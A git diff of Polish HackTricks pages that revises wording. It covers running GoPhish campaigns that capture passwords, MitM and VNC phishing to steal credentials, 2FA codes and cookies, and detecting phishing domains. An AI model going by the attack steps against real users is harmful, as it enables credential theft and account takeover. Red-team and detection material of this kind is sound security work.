* Szukaj **publicznych e-maili** jak info@ex.com lub press@ex.com lub public@ex.com i wyślij im e-mail, a następnie czekaj na odpowiedź.
|
||||
* Spróbuj skontaktować się z **jakimś ważnym odkrytym** e-mailem i czekaj na odpowiedź.
|
||||
|
||||
![](<../../.gitbook/assets/image (80).png>)
|
||||
|
||||
{% hint style="info" %}
|
||||
Szablon e-maila pozwala również na **dołączanie plików do wysłania**. Jeśli chcesz również ukraść wyzwania NTLM, używając specjalnie przygotowanych plików/dokumentów, [przeczytaj tę stronę](../../windows-hardening/ntlm/places-to-steal-ntlm-creds.md).
|
||||
Szablon e-maila pozwala również na **załączenie plików do wysłania**. Jeśli chcesz również ukraść wyzwania NTLM za pomocą specjalnie przygotowanych plików/dokumentów [przeczytaj tę stronę](../../windows-hardening/ntlm/places-to-steal-ntlm-creds.md).
|
||||
{% endhint %}
|
||||
|
||||
### Strona docelowa
|
||||
|
||||
* Wprowadź **nazwę**
|
||||
* **Wprowadź kod HTML** strony internetowej. Zauważ, że możesz **importować** strony internetowe.
|
||||
* Zaznacz **Przechwytywanie przesłanych danych** i **Przechwytywanie haseł**
|
||||
* Napisz **nazwę**
|
||||
* **Napisz kod HTML** strony internetowej. Zauważ, że możesz **importować** strony internetowe.
|
||||
* Zaznacz **Zbieranie przesłanych danych** i **Zbieranie haseł**
|
||||
* Ustaw **przekierowanie**
|
||||
|
||||
![](<../../.gitbook/assets/image (826).png>)
|
||||
|
||||
{% hint style="info" %}
|
||||
Zazwyczaj będziesz musiał zmodyfikować kod HTML strony i przeprowadzić pewne testy lokalnie (może używając serwera Apache) **aż uzyskasz pożądane rezultaty**. Następnie wpisz ten kod HTML w pole.\
|
||||
Zauważ, że jeśli potrzebujesz **użyć jakichś statycznych zasobów** dla HTML (może jakieś strony CSS i JS), możesz je zapisać w _**/opt/gophish/static/endpoint**_ a następnie uzyskać do nich dostęp z _**/static/\<nazwapliku>**_
|
||||
Zazwyczaj będziesz musiał zmodyfikować kod HTML strony i przeprowadzić kilka testów lokalnie (może używając jakiegoś serwera Apache) **aż do uzyskania zadowalających wyników.** Następnie wpisz ten kod HTML w polu.\
|
||||
Zauważ, że jeśli musisz **użyć jakichś statycznych zasobów** dla HTML (może jakieś strony CSS i JS), możesz je zapisać w _**/opt/gophish/static/endpoint**_ i następnie uzyskać do nich dostęp z _**/static/\<filename>**_
|
||||
{% endhint %}
|
||||
|
||||
{% hint style="info" %}
|
||||
W przypadku przekierowania możesz **przekierować użytkowników na prawdziwą główną stronę internetową** ofiary, lub przekierować ich na _/static/migration.html_ na przykład, umieścić **kręcące się koło** ([**https://loading.io/**](https://loading.io)) przez 5 sekund, a następnie wskazać, że proces zakończył się sukcesem.
|
||||
Dla przekierowania możesz **przekierować użytkowników na legalną główną stronę internetową** ofiary lub przekierować ich na _/static/migration.html_, na przykład, umieścić jakiś **kręcący się kółko (**[**https://loading.io/**](https://loading.io)**) przez 5 sekund, a następnie wskazać, że proces zakończył się sukcesem**.
|
||||
{% endhint %}
|
||||
|
||||
### Użytkownicy i Grupy
|
||||
### Użytkownicy i grupy
|
||||
|
||||
* Ustaw nazwę
|
||||
* **Zaimportuj dane** (zauważ, że aby użyć szablonu w przykładzie, potrzebujesz imienia, nazwiska i adresu e-mail każdego użytkownika)
|
||||
* **Importuj dane** (zauważ, że aby użyć szablonu w przykładzie, potrzebujesz imienia, nazwiska i adresu e-mail każdego użytkownika)
|
||||
|
||||
![](<../../.gitbook/assets/image (163).png>)
|
||||
|
||||
### Kampania
|
||||
|
||||
W końcu, stwórz kampanię wybierając nazwę, szablon e-maila, stronę docelową, URL, profil wysyłania i grupę. Zauważ, że URL będzie linkiem wysłanym do ofiar
|
||||
Na koniec stwórz kampanię, wybierając nazwę, szablon e-maila, stronę docelową, URL, profil wysyłania i grupę. Zauważ, że URL będzie linkiem wysłanym do ofiar.
|
||||
|
||||
Zauważ, że **Profil Wysyłania pozwala na wysłanie testowego e-maila, aby zobaczyć, jak będzie wyglądał ostateczny e-mail phishingowy**:
|
||||
Zauważ, że **Profil wysyłania pozwala na wysłanie testowego e-maila, aby zobaczyć, jak będzie wyglądał końcowy e-mail phishingowy**:
|
||||
|
||||
![](<../../.gitbook/assets/image (192).png>)
|
||||
|
||||
{% hint style="info" %}
|
||||
Zalecam **wysyłanie testowych e-maili na adresy 10minutemail**, aby uniknąć wpadnięcia na czarną listę podczas testów.
|
||||
Zalecałbym **wysyłanie testowych e-maili na adresy 10min mail**, aby uniknąć dodania do czarnej listy podczas testów.
|
||||
{% endhint %}
|
||||
|
||||
Gdy wszystko jest gotowe, wystarczy uruchomić kampanię!
|
||||
Gdy wszystko jest gotowe, po prostu uruchom kampanię!
|
||||
|
||||
## Klonowanie Strony Internetowej
|
||||
## Klonowanie stron internetowych
|
||||
|
||||
Jeśli z jakiegoś powodu chcesz sklonować stronę internetową, sprawdź następującą stronę:
|
||||
|
||||
|
@ -407,10 +408,10 @@ Jeśli z jakiegoś powodu chcesz sklonować stronę internetową, sprawdź nast
|
|||
[clone-a-website.md](clone-a-website.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## Dokumenty i Pliki z Tylnymi Drzwiami
|
||||
## Dokumenty i pliki z backdoorem
|
||||
|
||||
W niektórych ocenach phishingowych (głównie dla Red Teams) będziesz chciał również **wysłać pliki zawierające jakieś rodzaje tylnych drzwi** (może to być C2 lub po prostu coś, co wywoła uwierzytelnienie).\
|
||||
Sprawdź następującą stronę dla przykładów:
|
||||
W niektórych ocenach phishingowych (głównie dla Red Teams) będziesz chciał również **wysłać pliki zawierające jakiś rodzaj backdoora** (może C2 lub może coś, co wywoła autoryzację).\
|
||||
Sprawdź następującą stronę w celu uzyskania przykładów:
|
||||
|
||||
{% content-ref url="phishing-documents.md" %}
|
||||
[phishing-documents.md](phishing-documents.md)
|
||||
|
@ -420,24 +421,24 @@ Sprawdź następującą stronę dla przykładów:
|
|||
|
||||
### Przez Proxy MitM
|
||||
|
||||
Poprzedni atak jest dość sprytny, ponieważ podszywasz się pod prawdziwą stronę internetową i zbierasz informacje wprowadzone przez użytkownika. Niestety, jeśli użytkownik nie wprowadził poprawnego hasła lub jeśli aplikacja, którą podszywasz się, jest skonfigurowana z 2FA, **te informacje nie pozwolą ci podać się za oszukanego użytkownika**.
|
||||
Poprzedni atak jest dość sprytny, ponieważ fałszuje prawdziwą stronę internetową i zbiera informacje podane przez użytkownika. Niestety, jeśli użytkownik nie wpisał poprawnego hasła lub jeśli aplikacja, którą sfałszowałeś, jest skonfigurowana z 2FA, **te informacje nie pozwolą ci na podszywanie się pod oszukanego użytkownika**.
|
||||
|
||||
W takich przypadkach narzędzia takie jak [**evilginx2**](https://github.com/kgretzky/evilginx2)**,** [**CredSniper**](https://github.com/ustayready/CredSniper) i [**muraena**](https://github.com/muraenateam/muraena) są przydatne. Narzędzie to pozwoli ci wygenerować atak typu MitM. W skrócie, atak działa w następujący sposób:
|
||||
Tutaj przydatne są narzędzia takie jak [**evilginx2**](https://github.com/kgretzky/evilginx2)**,** [**CredSniper**](https://github.com/ustayready/CredSniper) i [**muraena**](https://github.com/muraenateam/muraena). To narzędzie pozwoli ci wygenerować atak typu MitM. Zasadniczo atak działa w następujący sposób:
|
||||
|
||||
1. **Podszywasz się pod formularz logowania** prawdziwej strony internetowej.
|
||||
2. Użytkownik **wysyła** swoje **dane uwierzytelniające** do twojej fałszywej strony, a narzędzie przesyła je do prawdziwej strony, **sprawdzając, czy dane uwierzytelniające są poprawne**.
|
||||
3. Jeśli konto jest skonfigurowane z **2FA**, strona MitM poprosi o to, a gdy **użytkownik je wprowadzi**, narzędzie prześle je do prawdziwej strony internetowej.
|
||||
4. Gdy użytkownik zostanie uwierzytelniony, ty (jako atakujący) **przechwycisz dane uwierzytelniające, 2FA, ciasteczka i wszelkie informacje** z każdej interakcji, podczas gdy narzędzie wykonuje atak MitM.
|
||||
2. Użytkownik **wysyła** swoje **dane logowania** na twoją fałszywą stronę, a narzędzie wysyła je na prawdziwą stronę internetową, **sprawdzając, czy dane logowania działają**.
|
||||
3. Jeśli konto jest skonfigurowane z **2FA**, strona MitM poprosi o to, a gdy **użytkownik wprowadzi** to, narzędzie wyśle to na prawdziwą stronę internetową.
|
||||
4. Gdy użytkownik zostanie uwierzytelniony, ty (jako atakujący) będziesz miał **przechwycone dane logowania, 2FA, ciasteczka i wszelkie informacje** z każdej interakcji, podczas gdy narzędzie wykonuje atak MitM.
|
||||
|
||||
### Przez VNC
|
||||
|
||||
Co jeśli zamiast **przekierować ofiarę na złośliwą stronę** o takim samym wyglądzie jak oryginalna, przekierujesz ją na **sesję VNC z przeglądarką podłączoną do prawdziwej strony internetowej**? Będziesz mógł zobaczyć, co robi, ukraść hasło, użyte 2FA, ciasteczka...\
|
||||
Co jeśli zamiast **wysyłać ofiarę na złośliwą stronę** o takim samym wyglądzie jak oryginalna, wyślesz go do **sesji VNC z przeglądarką połączoną z prawdziwą stroną internetową**? Będziesz mógł zobaczyć, co robi, ukraść hasło, używane MFA, ciasteczka...\
|
||||
Możesz to zrobić za pomocą [**EvilnVNC**](https://github.com/JoelGMSec/EvilnoVNC)
|
||||
|
||||
## Wykrywanie wykrycia
|
||||
|
||||
Oczywiście jednym z najlepszych sposobów, aby dowiedzieć się, czy zostałeś wykryty, jest **sprawdzenie swojej domeny na czarnych listach**. Jeśli się tam znajduje, to w jakiś sposób twoja domena została uznana za podejrzaną.\
|
||||
Łatwym sposobem sprawdzenia, czy twoja domena znajduje się na jakiejkolwiek czarnej liście, jest skorzystanie z [https://malwareworld.com/](https://malwareworld.com)
|
||||
Oczywiście jednym z najlepszych sposobów, aby dowiedzieć się, czy zostałeś wykryty, jest **sprawdzenie swojej domeny w czarnych listach**. Jeśli pojawi się na liście, w jakiś sposób twoja domena została wykryta jako podejrzana.\
|
||||
Jednym z łatwych sposobów, aby sprawdzić, czy twoja domena pojawia się w jakiejkolwiek czarnej liście, jest użycie [https://malwareworld.com/](https://malwareworld.com)
|
||||
|
||||
Jednak istnieją inne sposoby, aby dowiedzieć się, czy ofiara **aktywnie szuka podejrzanej aktywności phishingowej w sieci**, jak wyjaśniono w:
|
||||
|
||||
|
@ -445,11 +446,11 @@ Jednak istnieją inne sposoby, aby dowiedzieć się, czy ofiara **aktywnie szuka
|
|||
[detecting-phising.md](detecting-phising.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
Możesz **kupić domenę o bardzo podobnej nazwie** do domeny ofiary **i/lub wygenerować certyfikat** dla **poddomeny** domeny kontrolowanej przez ciebie **zawierającej** słowo kluczowe z domeny ofiary. Jeśli **ofiara** wykonuje jakiekolwiek **interakcje DNS lub HTTP** z nimi, będziesz wiedział, że **aktywnie szuka** podejrzanych domen i będziesz musiał działać bardzo dyskretnie.
|
||||
Możesz **kupić domenę o bardzo podobnej nazwie** do domeny ofiary **i/lub wygenerować certyfikat** dla **subdomeny** domeny kontrolowanej przez ciebie **zawierającej** **słowo kluczowe** domeny ofiary. Jeśli **ofiara** wykona jakąkolwiek **interakcję DNS lub HTTP** z nimi, będziesz wiedział, że **aktywnie szuka** podejrzanych domen i będziesz musiał być bardzo ostrożny.
|
||||
|
||||
### Ocenianie phishingu
|
||||
### Oceń phishing
|
||||
|
||||
Użyj [**Phishious** ](https://github.com/Rices/Phishious), aby ocenić, czy twój e-mail trafi do folderu spamu, czy zostanie zablokowany, czy będzie udany.
|
||||
Użyj [**Phishious** ](https://github.com/Rices/Phishious), aby ocenić, czy twój e-mail trafi do folderu spam lub czy zostanie zablokowany lub odniesie sukces.
|
||||
|
||||
## Referencje
|
||||
|
||||
|
@ -457,3 +458,18 @@ Użyj [**Phishious** ](https://github.com/Rices/Phishious), aby ocenić, czy tw
|
|||
* [https://0xpatrik.com/phishing-domains/](https://0xpatrik.com/phishing-domains/)
|
||||
* [https://darkbyte.net/robando-sesiones-y-bypasseando-2fa-con-evilnovnc/](https://darkbyte.net/robando-sesiones-y-bypasseando-2fa-con-evilnovnc/)
|
||||
* [https://www.digitalocean.com/community/tutorials/how-to-install-and-configure-dkim-with-postfix-on-debian-wheezy](https://www.digitalocean.com/community/tutorials/how-to-install-and-configure-dkim-with-postfix-on-debian-wheezy)
|
||||
|
||||
{% hint style="success" %}
|
||||
Ucz się i ćwicz Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Ucz się i ćwicz Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Wsparcie dla HackTricks</summary>
|
||||
|
||||
* Sprawdź [**plany subskrypcyjne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegram**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się trikami hackingowymi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,78 +1,95 @@
|
|||
# Wykrywanie Phishingu
|
||||
|
||||
{% hint style="success" %}
|
||||
Ucz się i ćwicz Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Ucz się i ćwicz Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Zacznij od zera i stań się ekspertem od hakowania AWS dzięki</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Wsparcie dla HackTricks</summary>
|
||||
|
||||
Inne sposoby wsparcia HackTricks:
|
||||
|
||||
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Kup [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) albo **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) na GitHubie.
|
||||
* Sprawdź [**plany subskrypcyjne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegram**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się sztuczkami hackingowymi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów na GitHubie.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## Wprowadzenie
|
||||
|
||||
Aby wykryć próbę phishingu, ważne jest **zrozumienie technik phishingowych używanych obecnie**. Na stronie nadrzędnej tego posta znajdziesz te informacje, więc jeśli nie wiesz, jakie techniki są obecnie stosowane, polecam przejście do strony nadrzędnej i przeczytanie przynajmniej tej sekcji.
|
||||
Aby wykryć próbę phishingu, ważne jest, aby **zrozumieć techniki phishingowe, które są obecnie stosowane**. Na stronie głównej tego wpisu możesz znaleźć te informacje, więc jeśli nie wiesz, jakie techniki są obecnie używane, polecam przejść do strony głównej i przeczytać przynajmniej tę sekcję.
|
||||
|
||||
Ten post opiera się na założeniu, że **atakujący spróbują jakoś naśladować lub użyć nazwę domeny ofiary**. Jeśli twoja domena nazywa się `example.com` i zostaniesz oszukany za pomocą zupełnie innej nazwy domeny, na przykład `youwonthelottery.com`, te techniki nie odkryją tego.
|
||||
Ten wpis opiera się na założeniu, że **napastnicy będą próbowali w jakiś sposób naśladować lub używać nazwy domeny ofiary**. Jeśli Twoja domena nazywa się `example.com` i jesteś ofiarą phishingu przy użyciu zupełnie innej nazwy domeny, na przykład `youwonthelottery.com`, te techniki nie ujawnią tego.
|
||||
|
||||
## Wariacje nazw domenowych
|
||||
## Wariacje nazw domen
|
||||
|
||||
Jest dość **łatwo** **odkryć** te **próby phishingu**, które użyją **podobnej nazwy domeny** wewnątrz e-maila.\
|
||||
Wystarczy **wygenerować listę najbardziej prawdopodobnych nazw phishingowych**, jakie atakujący mogą użyć, i **sprawdzić**, czy jest **zarejestrowana**, lub po prostu sprawdzić, czy jest przypisany do niej **jakikolwiek adres IP**.
|
||||
Jest dość **łatwo** **ujawnić** te **próby phishingu**, które będą używać **podobnej nazwy domeny** w e-mailu.\
|
||||
Wystarczy **wygenerować listę najbardziej prawdopodobnych nazw phishingowych**, które może użyć napastnik, i **sprawdzić**, czy są **zarejestrowane**, lub po prostu sprawdzić, czy jest jakiś **adres IP** używający tej nazwy.
|
||||
|
||||
### Znajdowanie podejrzanych domen
|
||||
|
||||
W tym celu możesz skorzystać z dowolnego z następujących narzędzi. Zauważ, że te narzędzia będą również automatycznie wykonywać zapytania DNS, aby sprawdzić, czy domena ma przypisany jakiś adres IP:
|
||||
W tym celu możesz użyć dowolnego z następujących narzędzi. Zauważ, że te narzędzia automatycznie wykonają zapytania DNS, aby sprawdzić, czy domena ma przypisany jakiś adres IP:
|
||||
|
||||
* [**dnstwist**](https://github.com/elceef/dnstwist)
|
||||
* [**urlcrazy**](https://github.com/urbanadventurer/urlcrazy)
|
||||
|
||||
### Bitflipping
|
||||
|
||||
**Krótkie wyjaśnienie tej techniki znajdziesz na stronie nadrzędnej. Lub przeczytaj oryginalne badania na** [**https://www.bleepingcomputer.com/news/security/hijacking-traffic-to-microsoft-s-windowscom-with-bitflipping/**](https://www.bleepingcomputer.com/news/security/hijacking-traffic-to-microsoft-s-windowscom-with-bitflipping/)
|
||||
**Możesz znaleźć krótkie wyjaśnienie tej techniki na stronie głównej. Lub przeczytać oryginalne badania w** [**https://www.bleepingcomputer.com/news/security/hijacking-traffic-to-microsoft-s-windowscom-with-bitflipping/**](https://www.bleepingcomputer.com/news/security/hijacking-traffic-to-microsoft-s-windowscom-with-bitflipping/)
|
||||
|
||||
Na przykład, zmiana 1 bitu w domenie microsoft.com może przekształcić ją w _windnws.com._\
|
||||
**Atakujący mogą zarejestrować jak najwięcej domen z odwróconymi bitami związanych z ofiarą, aby przekierować prawowitych użytkowników do swojej infrastruktury**.
|
||||
Na przykład, modyfikacja 1 bitu w domenie microsoft.com może przekształcić ją w _windnws.com._\
|
||||
**Napastnicy mogą rejestrować tak wiele domen z bit-flipping, jak to możliwe, związanych z ofiarą, aby przekierować legalnych użytkowników do swojej infrastruktury**.
|
||||
|
||||
**Wszystkie możliwe nazwy domen z odwróconymi bitami powinny być również monitorowane.**
|
||||
**Wszystkie możliwe nazwy domen z bit-flipping powinny być również monitorowane.**
|
||||
|
||||
### Podstawowe sprawdzenia
|
||||
### Podstawowe kontrole
|
||||
|
||||
Gdy masz listę potencjalnie podejrzanych nazw domen, powinieneś je **sprawdzić** (głównie porty HTTP i HTTPS), aby **zobaczyć, czy używają jakiegoś formularza logowania podobnego** do któregoś z domen ofiary.\
|
||||
Możesz również sprawdzić port 3333, aby zobaczyć, czy jest otwarty i uruchomiona instancja `gophish`.\
|
||||
Interesujące jest również wiedzieć, **jak dawno została odkryta każda podejrzana domena**, im młodsza, tym większe ryzyko.\
|
||||
Możesz także uzyskać **zrzuty ekranu** podejrzanej strony internetowej HTTP i/lub HTTPS, aby sprawdzić, czy jest podejrzana, a w takim przypadku **wejdź, aby się dokładniej przyjrzeć**.
|
||||
Gdy masz listę potencjalnych podejrzanych nazw domen, powinieneś je **sprawdzić** (głównie porty HTTP i HTTPS), aby **zobaczyć, czy używają jakiegoś formularza logowania podobnego** do któregoś z domen ofiary.\
|
||||
Możesz również sprawdzić port 3333, aby zobaczyć, czy jest otwarty i działa instancja `gophish`.\
|
||||
Interesujące jest również wiedzieć, **jak stara jest każda odkryta podejrzana domena**, im młodsza, tym bardziej ryzykowna.\
|
||||
Możesz również uzyskać **zrzuty ekranu** podejrzanej strony HTTP i/lub HTTPS, aby zobaczyć, czy jest podejrzana, a w takim przypadku **uzyskać do niej dostęp, aby przyjrzeć się bliżej**.
|
||||
|
||||
### Zaawansowane sprawdzenia
|
||||
### Zaawansowane kontrole
|
||||
|
||||
Jeśli chcesz pójść o krok dalej, polecam **monitorować te podejrzane domeny i regularnie szukać kolejnych** (codziennie? to zajmuje tylko kilka sekund/minut). Powinieneś również **sprawdzić** otwarte **porty** powiązanych adresów IP i **szukać instancji `gophish` lub podobnych narzędzi** (tak, atakujący też popełniają błędy) oraz **monitorować strony internetowe HTTP i HTTPS podejrzanych domen i subdomen**, aby sprawdzić, czy skopiowano jakikolwiek formularz logowania z stron internetowych ofiary.\
|
||||
Jeśli chcesz pójść o krok dalej, polecam **monitorować te podejrzane domeny i co jakiś czas szukać więcej** (codziennie? to zajmuje tylko kilka sekund/minut). Powinieneś również **sprawdzić** otwarte **porty** powiązanych adresów IP i **szukać instancji `gophish` lub podobnych narzędzi** (tak, napastnicy również popełniają błędy) oraz **monitorować strony HTTP i HTTPS podejrzanych domen i subdomen**, aby zobaczyć, czy skopiowały jakikolwiek formularz logowania z stron internetowych ofiary.\
|
||||
Aby **zautomatyzować to**, polecam mieć listę formularzy logowania domen ofiary, przeszukać podejrzane strony internetowe i porównać każdy znaleziony formularz logowania w podejrzanych domenach z każdym formularzem logowania domeny ofiary, używając czegoś takiego jak `ssdeep`.\
|
||||
Jeśli zlokalizowałeś formularze logowania podejrzanych domen, możesz spróbować **wysłać fałszywe dane logowania** i **sprawdzić, czy przekierowuje cię do domeny ofiary**.
|
||||
Jeśli zlokalizujesz formularze logowania podejrzanych domen, możesz spróbować **wysłać fałszywe dane logowania** i **sprawdzić, czy przekierowuje cię do domeny ofiary**.
|
||||
|
||||
## Nazwy domen z użyciem słów kluczowych
|
||||
## Nazwy domen używające słów kluczowych
|
||||
|
||||
Strona nadrzędna również wspomina o technice wariacji nazw domenowych polegającej na umieszczeniu **nazwy domeny ofiary w większej domenie** (np. paypal-financial.com dla paypal.com).
|
||||
Strona główna wspomina również o technice wariacji nazw domen, która polega na umieszczaniu **nazwy domeny ofiary w większej domenie** (np. paypal-financial.com dla paypal.com).
|
||||
|
||||
### Transparentność certyfikatów
|
||||
### Przejrzystość certyfikatów
|
||||
|
||||
Nie jest możliwe zastosowanie wcześniejszego podejścia "Brute-Force", ale faktycznie **można odkryć takie próby phishingu** również dzięki transparentności certyfikatów. Za każdym razem, gdy certyfikat jest wydany przez CA, szczegóły są publicznie dostępne. Oznacza to, że czytając transparentność certyfikatów lub nawet monitorując ją, jest **możliwe znalezienie domen używających słowa kluczowego w swojej nazwie**. Na przykład, jeśli atakujący generuje certyfikat dla [https://paypal-financial.com](https://paypal-financial.com), patrząc na certyfikat, można znaleźć słowo kluczowe "paypal" i wiedzieć, że używany jest podejrzany e-mail.
|
||||
Nie można zastosować poprzedniego podejścia "Brute-Force", ale w rzeczywistości **możliwe jest ujawnienie takich prób phishingu** również dzięki przejrzystości certyfikatów. Za każdym razem, gdy certyfikat jest wydawany przez CA, szczegóły są publikowane. Oznacza to, że czytając przejrzystość certyfikatów lub nawet ją monitorując, **możliwe jest znalezienie domen, które używają słowa kluczowego w swojej nazwie**. Na przykład, jeśli napastnik generuje certyfikat dla [https://paypal-financial.com](https://paypal-financial.com), przeglądając certyfikat, można znaleźć słowo kluczowe "paypal" i wiedzieć, że podejrzany e-mail jest używany.
|
||||
|
||||
Post [https://0xpatrik.com/phishing-domains/](https://0xpatrik.com/phishing-domains/) sugeruje, że można użyć Censys do wyszukiwania certyfikatów zawierających określone słowo kluczowe i filtrowania ich według daty (tylko "nowe" certyfikaty) oraz według wydawcy CA "Let's Encrypt":
|
||||
Wpis [https://0xpatrik.com/phishing-domains/](https://0xpatrik.com/phishing-domains/) sugeruje, że możesz użyć Censys do wyszukiwania certyfikatów dotyczących konkretnego słowa kluczowego i filtrować według daty (tylko "nowe" certyfikaty) oraz według wydawcy CA "Let's Encrypt":
|
||||
|
||||
![https://0xpatrik.com/content/images/2018/07/cert\_listing.png](<../../.gitbook/assets/image (1115).png>)
|
||||
|
||||
Jednakże, można "to samo" zrobić za pomocą darmowej strony internetowej [**crt.sh**](https://crt.sh). Możesz **wyszukać słowo kluczowe** i **filtrować** wyniki **według daty i CA**, jeśli chcesz.
|
||||
Jednak możesz zrobić "to samo" używając darmowej strony [**crt.sh**](https://crt.sh). Możesz **wyszukiwać słowo kluczowe** i **filtrować** wyniki **według daty i CA**, jeśli chcesz.
|
||||
|
||||
![](<../../.gitbook/assets/image (519).png>)
|
||||
|
||||
Korzystając z tej ostatniej opcji, możesz nawet użyć pola Identyfikatory dopasowania, aby sprawdzić, czy jakakolwiek tożsamość z rzeczywistej domeny pasuje do którejkolwiek z podejrzanych domen (zauważ, że podejrzana domena może być fałszywym wynikiem).
|
||||
Korzystając z tej ostatniej opcji, możesz nawet użyć pola Matching Identities, aby sprawdzić, czy jakakolwiek tożsamość z prawdziwej domeny pasuje do którejkolwiek z podejrzanych domen (zauważ, że podejrzana domena może być fałszywym pozytywem).
|
||||
|
||||
**Inną alternatywą** jest fantastyczny projekt o nazwie [**CertStream**](https://medium.com/cali-dog-security/introducing-certstream-3fc13bb98067). CertStream zapewnia strumień na żywo nowo wygenerowanych certyfikatów, który możesz wykorzystać do wykrywania określonych słów kluczowych w (prawie) rzeczywistym czasie. W rzeczywistości istnieje projekt o nazwie [**phishing\_catcher**](https://github.com/x0rz/phishing\_catcher), który robi dokładnie to.
|
||||
|
||||
**Inną alternatywą** jest fantastyczny projekt o nazwie [**CertStream**](https://medium.com/cali-dog-security/introducing-certstream-3fc13bb98067). CertStream dostarcza strumień w czasie rzeczywistym nowo generowanych certyfikatów, które można użyć do wykrywania określonych słów kluczowych w (prawie) czasie rzeczywistym. Faktycznie istnieje projekt o nazwie [**phishing\_catcher**](https://github.com/x0rz/phishing\_catcher), który robi dokładnie to.
|
||||
### **Nowe domeny**
|
||||
|
||||
**Ostatnią alternatywą** jest zebranie listy **nowo zarejestrowanych domen** dla niektórych TLD ([Whoxy](https://www.whoxy.com/newly-registered-domains/) oferuje takie usługi) i **sprawdzenie słów kluczowych w tych domenach**. Jednakże długie domeny zazwyczaj używają jednej lub więcej subdomen, dlatego słowo kluczowe nie pojawi się wewnątrz FLD i nie będzie można znaleźć subdomeny phishingowej.
|
||||
**Ostatnią alternatywą** jest zebranie listy **nowo zarejestrowanych domen** dla niektórych TLD ([Whoxy](https://www.whoxy.com/newly-registered-domains/) oferuje taką usługę) i **sprawdzenie słów kluczowych w tych domenach**. Jednak długie domeny zazwyczaj używają jednej lub więcej subdomen, dlatego słowo kluczowe nie pojawi się w FLD i nie będziesz w stanie znaleźć subdomeny phishingowej.
|
||||
|
||||
{% hint style="success" %}
|
||||
Ucz się i ćwicz Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Ucz się i ćwicz Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Wsparcie dla HackTricks</summary>
|
||||
|
||||
* Sprawdź [**plany subskrypcyjne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegram**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się sztuczkami hackingowymi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów na GitHubie.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,43 +1,48 @@
|
|||
# Pliki i Dokumenty Phishingowe
|
||||
# Phishing Files & Documents
|
||||
|
||||
{% hint style="success" %}
|
||||
